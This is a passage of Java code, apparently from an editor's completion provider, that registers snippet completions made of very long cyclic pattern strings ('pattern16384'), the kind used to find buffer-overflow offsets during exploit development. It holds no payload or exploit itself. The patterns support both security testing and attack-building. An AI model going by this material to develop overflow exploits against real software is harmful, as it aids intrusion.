hJAhfAh5AhKAhgAh6AhLAhhAh7AhMAhiAh8AhNAhjAh9AhOAhkAhPAhlAhQAhmAhRAhoAhSAhpAhTAhqAhUAhrAhVAhtAhWAhuAhXAhvAhYAhwAhZAhxAhyAhzA7%A7sA7BA7$A7nA7CA7-A7(A7DA7;A7)A7EA7aA70A7FA7bA71A7GA7cA72A7HA7dA73A7IA7eA74A7JA7fA75A7KA7gA76A7LA7hA77A7MA7iA78A7NA7jA79A7OA7kA7PA7lA7QA7mA7RA7oA7SA7pA7TA7qA7UA7rA7VA7tA7WA7uA7XA7vA7YA7wA7ZA7xA7yA7zAM%AMsAMBAM$AMnAMCAM-AM(AMDAM;AM)AMEAMaAM0AMFAMbAM1AMGAMcAM2AMHAMdAM3AMIAMeAM4AMJAMfAM5AMKAMgAM6AMLAMhAM7AMMAMiAM8AMNAMjAM9AMOAMkAMPAMlAMQAMmAMRAMoAMSAMpAMTAMqAMUAMrAMVAMtAMWAMuAMXAMvAMYAMwAMZAMxAMyAMzAi%AisAiBAi$AinAiCAi-Ai(AiDAi;Ai)AiEAiaAi0AiFAibAi1AiGAicAi2AiHAidAi3AiIAieAi4AiJAifAi5AiKAigAi6AiLAihAi7AiMAiiAi8AiNAijAi9AiOAikAiPAilAiQAimAiRAioAiSAipAiTAiqAiUAirAiVAitAiWAiuAiXAivAiYAiwAiZAixAiyAizA8%A8sA8BA8$A8nA8CA8-A8(A8DA8;A8)A8EA8aA80A8FA8bA81A8GA8cA82A8HA8dA83A8IA8eA84A8JA8fA85A8KA8gA86A8LA8hA87A8MA8iA88A8NA8jA89A8OA8kA8PA8lA8QA8mA8RA8oA8SA8pA8TA8qA8UA8rA8VA8tA8WA8uA8XA8vA8YA8wA8ZA8xA8yA8zAN%ANsANBAN$ANnANCAN-AN(ANDAN;AN)ANEANaAN0ANFANbAN1ANGANcAN2ANHANdAN3ANIANeAN4ANJANfAN5ANKANgAN6ANLANhAN7ANMANiAN8ANNANjAN9ANOANkANPANlANQANmANRANoANSANpANTANqANUANrANVANtANWANuANXANvANYANwANZANxANyANzAj%AjsAjBAj$AjnAjCAj-Aj(AjDAj;Aj)AjEAjaAj0AjFAjbAj1AjGAjcAj2AjHAjdAj3AjIAjeAj4AjJAjfAj5AjKAjgAj6AjLAjhAj7AjMAjiAj8AjNAjjAj9AjOAjkAjPAjlAjQAjmAjRAjoAjSAjpAj\"\n\r"));
    defaultCompletionProvider.addCompletion((Completion)new BasicCompletion((CompletionProvider)defaultCompletionProvider, "pattern16384 = \"AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6AsLAshAs7AsMAsiAs8AsNAsjAs9AsOAskAsPAslAsQAsmAsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAsyAszAB%ABsABBAB$ABnABCAB-AB(ABDAB;AB)ABEABaAB0ABFABbAB1ABGABcAB2ABHABdAB3ABIABeAB4ABJABfAB5ABKABgAB6ABLABhAB7ABMABiAB8ABNABjAB9ABOABkABPABlABQABmABRABoABSABpABTABqABUABrABVABtABWABuABXABvABYABwABZABxAByABzA$%A$sA$BA$$A$nA$CA$-A$(A$DA$;A$)A$EA$aA$0A$FA$bA$1A$GA$cA$2A$HA$dA$3A$IA$eA$4A$JA$fA$5A$KA$gA$6A$LA$hA$7A$MA$iA$8A$NA$jA$9A$OA$kA$PA$lA$QA$mA$RA$oA$SA$pA$TA$qA$UA$rA$VA$tA$WA$uA$XA$vA$YA$wA$ZA$xA$yA$zAn%AnsAnBAn$AnnAnCAn-An(AnDAn;An)AnEAnaAn0AnFAnbAn1AnGAncAn2AnHAndAn3AnIAneAn4AnJAnfAn5AnKAngAn6AnLAnhAn7AnMAniAn8AnNAnjAn9AnOAnkAnPAnlAnQAnmAnRAnoAnSAnpAnTAnqAnUAnrAnVAntAnWAnuAnXAnvAnYAnwAnZAnxAnyAnzAC%ACsACBAC$ACnACCAC-AC(ACDAC;AC)ACEACaAC0ACFACbAC1ACGACcAC2ACHACdAC3ACIACeAC4ACJACfAC5ACKACgAC6ACLAChAC7ACMACiAC8ACNACjAC9ACOACkACPAClACQACmACRACoACSACpACTACqACUACrACVACtACWACuACXACvACYACwACZACxACyACzA-%A-sA-BA-$A-nA-CA--A-(A-DA-;A-)A-EA-aA-0A-FA-bA-1A-GA-cA-2A-HA-dA-3A-IA-eA-4A-JA-fA-5A-KA-gA-6A-LA-hA-7A-MA-iA-8A-NA-jA-9A-OA-kA-PA-lA-QA-mA-RA-oA-SA-pA-TA-qA-UA-rA-VA-tA-WA-uA-XA-vA-YA-wA-ZA-xA-yA-zA(%A(sA(BA($A(nA(CA(-A((A(DA(;A()A(EA(aA(0A(FA(bA(1A(GA(cA(2A(HA(dA(3A(IA(eA(4A(JA(fA(5A(KA(gA(6A(LA(hA(7A(MA(iA(8A(NA(jA(9A(OA(kA(PA(lA(QA(mA(RA(oA(SA(pA(TA(qA(UA(rA(VA(tA(WA(uA(XA(vA(YA(wA(ZA(xA(yA(zAD%ADsADBAD$ADnADCAD-AD(ADDAD;AD)ADEADaAD0ADFADbAD1ADGADcAD2ADHADdAD3ADIADeAD4ADJADfAD5ADKADgAD6ADLADhAD7ADMADiAD8ADNADjAD9ADOADkADPADlADQADmADRADoADSADpADTADqADUADrADVADtADWADuADXADvADYADwADZADxADyADzA;%A;sA;BA;$A;nA;CA;-A;(A;DA;;A;)A;EA;aA;0A;FA;bA;1A;GA;cA;2A;HA;dA;3A;IA;eA;4A;JA;fA;5A;KA;gA;6A;LA;hA;7A;MA;iA;8A;NA;jA;9A;OA;kA;PA;lA;QA;mA;RA;oA;SA;pA;TA;qA;UA;rA;VA;tA;WA;uA;XA;vA;YA;wA;ZA;xA;yA;zA)%A)sA)BA)$A)nA)CA)-A)(A)DA);A))A)EA)aA)0A)FA)bA)1A)GA)cA)2A)HA)dA)3A)IA)eA)4A)JA)fA)5A)KA)gA)6A)LA)hA)7A)MA)iA)8A)NA)jA)9A)OA)kA)PA)lA)QA)mA)RA)oA)SA)pA)TA)qA)UA)rA)VA)tA)WA)uA)XA)vA)YA)wA)ZA)xA)yA)zAE%AEsAEBAE$AEnAECAE-AE(AEDAE;AE)AEEAEaAE0AEFAEbAE1AEGAEcAE2AEHAEdAE3AEIAEeAE4AEJAEfAE5AEKAEgAE6AELAEhAE7AEMAEiAE8AENAEjAE9AEOAEkAEPAElAEQAEmAERAEoAESAEpAETAEqAEUAErAEVAEtAEWAEuAEXAEvAEYAEwAEZAExAEyAEzAa%AasAaBAa$AanAaCAa-Aa(AaDAa;Aa)AaEAaaAa0AaFAabAa1AaGAacAa2AaHAadAa3AaIAaeAa4AaJAafAa5AaKAagAa6AaLAahAa7AaMAaiAa8AaNAajAa9AaOAakAaPAalAaQAamAaRAaoAaSAapAaTAaqAaUAarAaVAatAaWAauAaXAavAaYAawAaZAaxAayAazA0%A0sA0BA0$A0nA0CA0-A0(A0DA0;A0)A0EA0aA00A0FA0bA01A0GA0cA02A0HA0dA03A0IA0eA04A0JA0fA05A0KA0gA06A0LA0hA07A0MA0iA08A0NA0jA09A0OA0kA0PA0lA0QA0mA0RA0oA0SA0pA0TA0qA0UA0rA0VA0tA0WA0uA0XA0vA0YA0wA0ZA0xA0yA0zAF%AFsAFBAF$AFnAFCAF-AF(AFDAF;AF)AFEAFaAF0AFFAFbAF1AFGAFcAF2AFHAFdAF3AFIAFeAF4AFJAFfAF5AFKAFgAF6AFLAFhAF7AFMAFiAF8AFNAFjAF9AFOAFkAFPAFlAFQAFmAFRAFoAFSAFpAFTAFqAFUAFrAFVAFtAFWAFuAFXAFvAFYAFwAFZAFxAFyAFzAb%AbsAbBAb$AbnAbCAb-Ab(AbDAb;Ab)AbEAbaAb0AbFAbbAb1AbGAbcAb2AbHAbdAb3AbIAbeAb4AbJAbfAb5AbKAbgAb6AbLAbhAb7AbMAbiAb8AbNAbjAb9AbOAbkAbPAblAbQAbmAbRAboAbSAbpAbTAbqAbUAbrAbVAbtAbWAbuAbXAbvAbYAbwAbZAbxAbyAbzA1%A1sA1BA1$A1nA1CA1-A1(A1DA1;A1)A1EA1aA10A1FA1bA11A1GA1cA12A1HA1dA13A1IA1eA14A1JA1fA15A1KA1gA16A1LA1hA17A1MA1iA18A1NA1jA19A1OA1kA1PA1lA1QA1mA1RA1oA1SA1pA1TA1qA1UA1rA1VA1tA1WA1uA1XA1vA1YA1wA1ZA1xA1yA1zAG%AGsAGBAG$AGnAGCAG-AG(AGDAG;AG)AGEAGaAG0AGFAGbAG1AGGAGcAG2AGHAGdAG3AGIAGeAG4AGJAGfAG5AGKAGgAG6AGLAGhAG7AGMAGiAG8AGNAGjAG9AGOAGkAGPAGlAGQAGmAGRAGoAGSAGpAGTAGqAGUAGrAGVAGtAGWAGuAGXAGvAGYAGwAGZAGxAGyAGzAc%AcsAcBAc$AcnAcCAc-Ac(AcDAc;Ac)AcEAcaAc0AcFAcbAc1AcGAccAc2AcHAcdAc3AcIAceAc4AcJAcfAc5AcKAcgAc6AcLAchAc7AcMAciAc8AcNAcjAc9AcOAckAcPAclAcQAcmAcRAcoAcSAcpAcTAcqAcUAcrAcVActAcWAcuAcXAcvAcYAcwAcZAcxAcyAczA2%A2sA2BA2$A2nA2CA2-A2(A2DA2;A2)A2EA2aA20A2FA2bA21A2GA2cA22A2HA2dA23A2IA2eA24A2JA2fA25A2KA2gA26A2LA2hA27A2MA2iA28A2NA2jA29A2OA2kA2PA2lA2QA2mA2RA2oA2SA2pA2TA2qA2UA2rA2VA2tA2WA2uA2XA2vA2YA2wA2ZA2xA2yA2zAH%AHsAHBAH$AHnAHCAH-AH(AHDAH;AH)AHEAHaAH0AHFAHbAH1AHGAHcAH2AHHAHdAH3AHIAHeAH4AHJAHfAH5AHKAHgAH6AHLAHhAH7AHMAHiAH8AHNAHjAH9AHOAHkAHPAHlAHQAHmAHRAHoAHSAHpAHTAHqAHUAHrAHVAHtAHWAHuAHXAHvAHYAHwAHZAHxAHyAHzAd%AdsAdBAd$AdnAdCAd-Ad(AdDAd;Ad)AdEAdaAd0AdFAdbAd1AdGAdcAd2AdHAddAd3AdIAdeAd4AdJAdfAd5AdKAdgAd6AdLAdhAd7AdMAdiAd8AdNAdjAd9AdOAdkAdPAdlAdQAdmAdRAdoAdSAdpAdTAdqAdUAdrAdVAdtAdWAduAdXAdvAdYAdwAdZAdxAdyAdzA3%A3sA3BA3$A3nA3CA3-A3(A3DA3;A3)A3EA3aA30A3FA3bA31A3GA3cA32A3HA3dA33A3IA3eA34A3JA3fA35A3KA3gA36A3LA3hA37A3MA3iA38A3NA3jA39A3OA3kA3PA3lA3QA3mA3RA3oA3SA3pA3TA3qA3UA3rA3VA3tA3WA3uA3XA3vA3YA3wA3ZA3xA3yA3zAI%AIsAIBAI$AInAICAI-AI(AIDAI;AI)AIEAIaAI0AIFAIbAI1AIGAIcAI2AIHAIdAI3AIIAIeAI4AIJAIfAI5AIKAIgAI6AILAIhAI7AIMAIiAI8AINAIjAI9AIOAIkAIPAIlAIQAImAIRAIoAISAIpAITAIqAIUAIrAIVAItAIWAIuAIXAIvAIYAIwAIZAIxAIyAIzAe%AesAeBAe$AenAeCAe-Ae(AeDAe;Ae)AeEAeaAe0AeFAebAe1AeGAecAe2AeHAedAe3AeIAeeAe4AeJAefAe5AeKAegAe6AeLAehAe7AeMAeiAe8AeNAejAe9AeOAekAePAelAeQAemAeRAeoAeSAepAeTAeqAeUAerAeVAetAeWAeuAeXAevAeYAewAeZAexAeyAezA4%A4sA4BA4$A4nA4CA4-A4(A4DA4;A4)A4EA4aA40A4FA4bA41A4GA4cA42A4HA4dA43A4IA4eA44A4JA4fA45A4KA4gA46A4LA4hA47A4MA4iA48A4NA4jA49A4OA4kA4PA4lA4QA4mA4RA4oA4SA4pA4TA4qA4UA4rA4VA4tA4WA4uA4XA4vA4YA4wA4ZA4xA4yA4zAJ%AJsAJBAJ$AJnAJCAJ-AJ(AJDAJ;AJ)AJEAJaAJ0AJFAJbAJ1AJGAJcAJ2AJHAJdAJ3AJIAJeAJ4AJJAJfAJ5AJKAJgAJ6AJLAJhAJ7AJMAJiAJ8AJNAJjAJ9AJOAJkAJPAJlAJQAJmAJRAJoAJSAJpAJTAJqAJUAJrAJVAJtAJWAJuAJXAJvAJYAJwAJZAJxAJyAJzAf%AfsAfBAf$AfnAfCAf-Af(AfDAf;Af)AfEAfaAf0AfFAfbAf1AfGAfcAf2AfHAfdAf3AfIAfeAf4AfJAffAf5AfKAfgAf6AfLAfhAf7AfMAfiAf8AfNAfjAf9AfOAfkAfPAflAfQAfmAfRAfoAfSAfpAfTAfqAfUAfrAfVAftAfWAfuAfXAfvAfYAfwAfZAfxAfyAfzA5%A5sA5BA5$A5nA5CA5-A5(A5DA5;A5)A5EA5aA50A5FA5bA51A5GA5cA52A5HA5dA53A5IA5eA54A5JA5fA55A5KA5gA56A5LA5hA57A5MA5iA58A5NA5jA59A5OA5kA5PA5lA5QA5mA5RA5oA5SA5pA5TA5qA5UA5rA5VA5tA5WA5uA5XA5vA5YA5wA5ZA5xA5yA5zAK%AKsAKBAK$AKnAKCAK-AK(AKDAK;AK)AKEAKaAK0AKFAKbAK1AKGAKcAK2AKHAKdAK3AKIAKeAK4AKJAKfAK5AKKAKgAK6AKLAKhAK7AKMAKiAK8AKNAKjAK9AKOAKkAKPAKlAKQAKmAKRAKoAKSAKpAKTAKqAKUAKrAKVAKtAKWAKuAKXAKvAKYAKwAKZAKxAKyAKzAg%AgsAgBAg$AgnAgCAg-Ag(AgDAg;Ag)AgEAgaAg0AgFAgbAg1AgGAgcAg2AgHAgdAg3AgIAgeAg4AgJAgfAg5AgKAggAg6AgLAghAg7AgMAgiAg8AgNAgjAg9AgOAgkAgPAglAgQAgmAgRAgoAgSAgpAgTAgqAgUAgrAgVAgtAgWAguAgXAgvAgYAgwAgZAgxAgyAgzA6%A6sA6BA6$A6nA6CA6-A6(A6DA6;A6)A6EA6aA60A6FA6bA61A6GA6cA62A6HA6dA63A6IA6eA64A6JA6fA65A6KA6gA66A6LA6hA67A6MA6iA68A6NA6jA69A6OA6kA6PA6lA6QA6mA6RA6oA6SA6pA6TA6qA6UA6rA6VA6tA6WA6uA6XA6vA6YA6wA6ZA6xA6yA6zAL%ALsALBAL$ALnALCAL-AL(ALDAL;AL)ALEALaAL0ALFALbAL1ALGALcAL2ALHALdAL3ALIALeAL4ALJALfAL5ALKALgAL6ALLALhAL7ALMALiAL8ALNALjAL9ALOALkALPALlALQALmALRALoALSALpALTALqALUALrALVALtALWALuALXALvALYALwALZALxALyALzAh%AhsAhBAh$AhnAhCAh-Ah(AhDAh;Ah)AhEAhaAh0AhFAhbAh1AhGAhcAh2AhHAhdAh3AhIAheAh4AhJAhfAh5AhKAhgAh6AhLAhhAh7AhMAhiAh8AhNAhjAh9AhOAhkAhPAhlAhQAhmAhRAhoAhSAhpAhTAhqAhUAhrAhVAhtAhWAhuAhXAhvAhYAhwAhZAhxAhyAhzA7%A7sA7BA7$A7nA7CA7-A7(A7DA7;A7)A7EA7aA70A7FA7bA71A7GA7cA72A7HA7dA73A7IA7eA74A7JA7fA75A7KA7gA76A7LA7hA77A7MA7iA78A7NA7jA79A7OA7kA7PA7lA7QA7mA7RA7oA7SA7pA7TA7qA7UA7rA7VA7tA7WA7uA7XA7vA7YA7wA7ZA7xA7yA7zAM%AMsAMBAM$AMnAMCAM-AM(AMDAM;AM)AMEAMaAM0AMFAMbAM1AMGAMcAM2AMHAMdAM3AMIAMeAM4AMJAMfAM5AMKAMgAM6AMLAMhAM7AMMAMiAM8AMNAMjAM9AMOAMkAMPAMlAMQAMmAMRAMoAMSAMpAMTAMqAMUAMrAMVAMtAMWAMuAMXAMvAMYAMwAMZAMxAMyAMzAi%AisAiBAi$AinAiCAi-Ai(AiDAi;Ai)AiEAiaAi0AiFAibAi1AiGAicAi2AiHAidAi3AiIAieAi4AiJAifAi5AiKAigAi6AiLAihAi7AiMAiiAi8AiNAijAi9AiOAikAiPAilAiQAimAiRAioAiSAipAiTAiqAiUAirAiVAitAiWAiuAiXAivAiYAiwAiZAixAiyAizA8%A8sA8BA8$A8nA8CA8-A8(A8DA8;A8)A8EA8aA80A8FA8bA81A8GA8cA82A8HA8dA83A8IA8eA84A8JA8fA85A8KA8gA86A8LA8hA87A8MA8iA88A8NA8jA89A8OA8kA8PA8lA8QA8mA8RA8oA8SA8pA8TA8qA8UA8rA8VA8tA8WA8uA8XA8vA8YA8wA8ZA8xA8yA8zAN%ANsANBAN$ANnANCAN-AN(ANDAN;AN)ANEANaAN0ANFANbAN1ANGANcAN2ANHANdAN3ANIANeAN4ANJANfAN5ANKANgAN6ANLANhAN7ANMANiAN8ANNANjAN9ANOANkANPANlANQANmANRANoANSANpANTANqANUANrANVANtANWANuANXANvANYANwANZANxANyANzAj%AjsAjBAj$AjnAjCAj-Aj(AjDAj;Aj)AjEAjaAj0AjFAjbAj1AjGAjcAj2AjHAjdAj3AjIAjeAj4AjJAjfAj5AjKAjgAj6AjLAjhAj7AjMAjiAj8AjNAjjAj9AjOAjkAjPAjlAjQAjmAjRAjoAjSAjpAjTAjqAjUAjrAjVAjtAjWAjuAjXAjvAjYAjwAjZAjxAjyAjzA9%A9sA9BA9$A9nA9CA9-A9(A9DA9;A9)A9EA9aA90A9FA9bA91A9GA9cA92A9HA9dA93A9IA9eA94A9JA9fA95A9KA9gA96A9LA9hA97A9MA9iA98A9NA9jA99A9OA9kA9PA9lA9QA9mA9RA9oA9SA9pA9TA9qA9UA9rA9VA9tA9WA9uA9XA9vA9YA9wA9ZA9xA9yA9zAO%AOsAOBAO$AOnAOCAO-AO(AODAO;AO)AOEAOaAO0AOFAObAO1AOGAOcAO2AOHAOdAO3AOIAOeAO4AOJAOfAO5AOKAOgAO6AOLAOhAO7AOMAOiAO8AONAOjAO9AOOAOkAOPAOlAOQAOmAORAOoAOSAOpAOTAOqAOUAOrAOVAOtAOWAOuAOXAOvAOYAOwAOZAOxAOyAOzAk%AksAkBAk$AknAkCAk-Ak(AkDAk;Ak)AkEAkaAk0AkFAkbAk1AkGAkcAk2AkHAkdAk3AkIAkeAk4AkJAkfAk5AkKAkgAk6AkLAkhAk7AkMAkiAk8AkNAkjAk9AkOAkkAkPAklAkQAkmAkRAkoAkSAkpAkTAkqAkUAkrAkVAktAkWAkuAkXAkvAkYAkwAkZAkxAkyAkzAP%APsAPBAP$APnAPCAP-AP(APDAP;AP)APEAPaAP0APFAPbAP1APGAPcAP2APHAPdAP3APIAPeAP4APJAPfAP5APKAPgAP6APLAPhAP7APMAPiAP8APNAPjAP9APOAPkAPPAPlAPQAPmAPRAPoAPSAPpAPTAPqAPUAPrAPVAPtAPWAPuAPXAPvAPYAPwAPZAPxAPyAPzAl%AlsAlBAl$AlnAlCAl-Al(AlDAl;Al)AlEAlaAl0AlFAlbAl1AlGAlcAl2AlHAldAl3AlIAleAl4AlJAlfAl5AlKAlgAl6AlLAlhAl7AlMAliAl8AlNAljAl9AlOAlkAlPAllAlQAlmAlRAloAlSAlpAlTAlqAlUAlrAlVAltAlWAluAlXAlvAlYAlwAlZAlxAlyAlzAQ%AQsAQBAQ$AQnAQCAQ-AQ(AQDAQ;AQ)AQEAQaAQ0AQFAQbAQ1AQGAQcAQ2AQHAQdAQ3AQIAQeAQ4AQJAQfAQ5AQKAQgAQ6AQLAQhAQ7AQMAQiAQ8AQNAQjAQ9AQOAQkAQPAQlAQQAQmAQRAQoAQSAQpAQTAQqAQUAQrAQVAQtAQWAQuAQXAQvAQYAQwAQZAQxAQyAQzAm%AmsAmBAm$AmnAmCAm-Am(AmDAm;Am)AmEAmaAm0AmFAmbAm1AmGAmcAm2AmHAmdAm3AmIAmeAm4AmJAmfAm5AmKAmgAm6AmLAmhAm7AmMAmiAm8AmNAmjAm9AmOAmkAmPAmlAmQAmmAmRAmoAmSAmpAmTAmqAmUAmrAmVAmtAmWAmuAmXAmvAmYAmwAmZAmxAmyAmzAR%ARsARBAR$ARnARCAR-AR(ARDAR;AR)AREARaAR0ARFARbAR1ARGARcAR2ARHARdAR3ARIAReAR4ARJARfAR5ARKARgAR6ARLARhAR7ARMARiAR8ARNARjAR9AROARkARPARlARQARmARRARoARSARpARTARqARUARrARVARtARWARuARXARvARYARwARZARxARyARzAo%AosAoBAo$AonAoCAo-Ao(AoDAo;Ao)AoEAoaAo0AoFAobAo1AoGAocAo2AoHAodAo3AoIAoeAo4AoJAofAo5AoKAogAo6AoLAohAo7AoMAoiAo8AoNAojAo9AoOAokAoPAolAoQAomAoRAooAoSAopAoTAoqAoUAorAoVAotAoWAouAoXAovAoYAowAoZAoxAoyAozAS%ASsASBAS$ASnASCAS-AS(ASDAS;AS)ASEASaAS0ASFASbAS1ASGAScAS2ASHASdAS3ASIASeAS4ASJASfAS5ASKASgAS6ASLAShAS7ASMASiAS8ASNASjAS9ASOASkASPASlASQASmASRASoASSASpASTASqASUASrASVAStASWASuASXASvASYASwASZASxASyASzAp%ApsApBAp$ApnApCAp-Ap(ApDAp;Ap)ApEApaAp0ApFApbAp1ApGApcAp2ApHApdAp3ApIApeAp4ApJApfAp5ApKApgAp6ApLAphAp7ApMApiAp8ApNApjAp9ApOApkApPAplApQApmApRApoApSAppApTApqApUAprApVAptApWApuApXApvApYApwApZApxApyApzAT%ATsATBAT$ATnATCAT-AT(ATDAT;AT)ATEATaAT0ATFATbAT1ATGATcAT2ATHATdAT3ATIATeAT4ATJATfAT5ATKATgAT6ATLAThAT7ATMATiAT8ATNATjAT9ATOATkATPATlATQATmATRAToATSATpATTATqATUATrATVATtATWATuATXATvATYATwATZATxATyATzAq%AqsAqBAq$AqnAqCAq-Aq(AqDAq;Aq)AqEAqaAq0AqFAqbAq1AqGAqcAq2AqHAqdAq3AqIAqeAq4AqJAqfAq5AqKAqgAq6AqLAqhAq7AqMAqiAq8AqNAqjAq9AqOAqkAqPAqlAqQAqmAqRAqoAqSAqpAqTAqqAqUAqrAqVAqtAqWAquAqXAqvAqYAqwAqZAqxAqyAqzAU%AUsAUBAU$AUnAUCAU-AU(AUDAU;AU)AUEAUaAU0AUFAUbAU1AUGAUcAU2AUHAUdAU3AUIAUeAU4AUJAUfAU5AUKAUgAU6AULAUhAU7AUMAUiAU8AUNAUjAU9AUOAUkAUPAUlAUQAUmAURAUoAUSAUpAUTAUqAUUAUrAUVAUtAUWAUuAUXAUvAUYAUwAUZAUxAUyAUzAr%ArsArBAr$ArnArCAr-Ar(ArDAr;Ar)ArEAraAr0ArFArbAr1ArGArcAr2ArHArdAr3ArIAreAr4ArJArfAr5ArKArgAr6ArLArhAr7ArMAriAr8ArNArjAr9ArOArkArPArlArQArmArRAroArSArpArTArqArUArrArVArtArWAruArXArvArYArwArZArxAryArzAV%AVsAVBAV$AVnAVCAV-AV(AVDAV;AV)AVEAVaAV0AVFAVbAV1AVGAVcAV2AVHAVdAV3AVIAVeAV4AVJAVfAV5AVKAVgAV6AVLAVhAV7AVMAViAV8AVNAVjAV9AVOAVkAVPAVlAVQAVmAVRAVoAVSAVpAVTAVqAVUAVrAVVAVtAVWAVuAVXAVvAVYAVwAVZAVxAVyAVzAt%AtsAtBAt$AtnAtCAt-At(AtDAt;At)AtEAtaAt0AtFAtbAt1AtGAtcAt2AtHAtdAt3AtIAteAt4AtJAtfAt5AtKAtgAt6AtLAthAt7AtMAtiAt8AtNAtjAt9AtOAtkAtPAtlAtQAtmAtRAtoAtSAtpAtTAtqAtUAtrAtVAttAtWAtuAtXAtvAtYAtwAtZAtxAtyAtzAW%AWsAWBAW$AWnAWCAW-AW(AWDAW;AW)AWEAWaAW0AWFAWbAW1AWGAWcAW2AWHAWdAW3AWIAWeAW4AWJAWfAW5AWKAWgAW6AWLAWhAW7AWMAWiAW8AWNAWjAW9AWOAWkAWPAWlAWQAWmAWRAWoAWSAWpAWTAWqAWUAWrAWVAWtAWWAWuAWXAWvAWYAWwAWZAWxAWyAWzAu%AusAuBAu$AunAuCAu-Au(AuDAu;Au)AuEAuaAu0AuFAubAu1AuGAucAu2AuHAudAu3AuIAueAu4AuJAufAu5AuKAugAu6AuLAuhAu7AuMAuiAu8AuNAujAu9AuOAukAuPAulAuQAumAuRAuoAuSAupAuTAuqAuUAurAuVAutAuWAuuAuXAuvAuYAuwAuZAuxAuyAuzAX%AXsAXBAX$AXnAXCAX-AX(AXDAX;AX)AXEAXaAX0AXFAXbAX1AXGAXcAX2AXHAXdAX3AXIAXeAX4AXJAXfAX5AXKAXgAX6AXLAXhAX7AXMAXiAX8AXNAXjAX9AXOAXkAXPAXlAXQAXmAXRAXoAXSAXpAXTAXqAXUAXrAXVAXtAXWAXuAXXAXvAXYAXwAXZAXxAXyAXzAv%AvsAvBAv$AvnAvCAv-Av(AvDAv;Av)AvEAvaAv0AvFAvbAv1AvGAvcAv2AvHAvdAv3AvIAveAv4AvJAvfAv5AvKAvgAv6AvLAvhAv7AvMAviAv8AvNAvjAv9AvOAvkAvPAvlAvQAvmAvRAvoAvSAvpAvTAvqAvUAvrAvVAvtAvWAvuAvXAvvAvYAvwAvZAvxAvyAvzAY%AYsAYBAY$AYnAYCAY-AY(AYDAY;AY)AYEAYaAY0AYFAYbAY1AYGAYcAY2AYHAYdAY3AYIAYeAY4AYJAYfAY5AYKAYgAY6AYLAYhAY7AYMAYiAY8AYNAYjAY9AYOAYkAYPAYlAYQAYmAYRAYoAYSAYpAYTAYqAYUAYrAYVAYtAYWAYuAYXAYvAYYAYwAYZAYxAYyAYzAw%AwsAwBAw$AwnAwCAw-Aw(AwDAw;Aw)AwEAwaAw0AwFAwbAw1AwGAwcAw2AwHAwdAw3AwIAweAw4AwJAwfAw5AwKAwgAw6AwLAwhAw7AwMAwiAw8AwNAwjAw9AwOAwkAwPAwlAwQAwmAwRAwoAwSAwpAwTAwqAwUAwrAwVAwtAwWAwuAwXAwvAwYAwwAwZAwxAwyAwzAZ%AZsAZBAZ$AZnAZCAZ-AZ(AZDAZ;AZ)AZEAZaAZ0AZFAZbAZ1AZGAZcAZ2AZHAZdAZ3AZIAZeAZ4AZJAZfAZ5AZKAZgAZ6AZLAZhAZ7AZMAZiAZ8AZNAZjAZ9AZOAZkAZPAZlAZQAZmAZRAZoAZSAZpAZTAZqAZUAZrAZVAZtAZWAZuAZXAZvAZYAZwAZZAZxAZyAZzAx%AxsAxBAx$AxnAxCAx-Ax(AxDAx;Ax)AxEAxaAx0AxFAxbAx1AxGAxcAx2AxHAxdAx3AxIAxeAx4AxJAxfAx5AxKAxgAx6AxLAxhAx7AxMAxiAx8AxNAxjAx9AxOAxkAxPAxlAxQAxmAxRAxoAxSAxpAxTAxqAxUAxrAxVAxtAxWAxuAxXAxvAxYAxwAxZAxxAxyAxzAy%AysAyBAy$AynAyCAy-Ay(AyDAy;Ay)AyEAyaAy0AyFAybAy1AyGAycAy2AyHAydAy3AyIAyeAy4AyJAyfAy5AyKAygAy6AyLAyhAy7AyMAyiAy8AyNAyjAy9AyOAykAyPAylAyQAymAyRAyoAySAypAyTAyqAyUAyrAyVAytAyWAyuAyXAyvAyYAywAyZAyxAyyAyzAz%AzsAzBAz$AznAzCAz-Az(AzDAz;Az)AzEAzaAz0AzFAzbAz1AzGAzcAz2AzHAzdAz3AzIAzeAz4AzJAzfAz5AzKAzgAz6AzLAzhAz7AzMAziAz8AzNAzjAz9AzOAzkAzPAzlAzQAzmAzRAzoAzSAzpAzTAzqAzUAzrAzVAztAzWAzuAzXAzvAzYAzwAzZAzxAzyAzz%%%s%%B%%$%%n%%C%%-%%(%%D%%;%%)%%E%%a%%0%%F%%b%%1%%G%%c%%2%%H%%d%%3%%I%%e%%4%%J%%f%%5%%K%%g%%6%%L%%h%%7%%M%%i%%8%%N%%j%%9%%O%%k%%P%%l%%Q%%m%%R%%o%%S%%p%%T%%q%%U%%r%%V%%t%%W%%u%%X%%v%%Y%%w%%Z%%x%%y%%z%ss%sB%s$%sn%sC%s-%s(%sD%s;%s)%sE%sa%s0%sF%sb%s1%sG%sc%s2%sH%sd%s3%sI%se%s4%sJ%sf%s5%sK%sg%s6%sL%sh%s7%sM%si%s8%sN%sj%s9%sO%sk%sP%sl%sQ%sm%sR%so%sS%sp%sT%sq%sU%sr%sV%st%sW%su%sX%sv%sY%sw%sZ%sx%sy%sz%Bs%BB%B$%Bn%BC%B-%B(%BD%B;%B)%BE%Ba%B0%BF%Bb%B1%BG%Bc%B2%BH%Bd%B3%BI%Be%B4%BJ%Bf%B5%BK%Bg%B6%BL%Bh%B7%BM%Bi%B8%BN%Bj%B9%BO%Bk%BP%Bl%BQ%Bm%BR%Bo%BS%Bp%BT%Bq%BU%Br%BV%Bt%BW%Bu%BX%Bv%BY%Bw%BZ%Bx%By%Bz%$s%$B%$$%$n%$C%$-%$(%$D%$;%$)%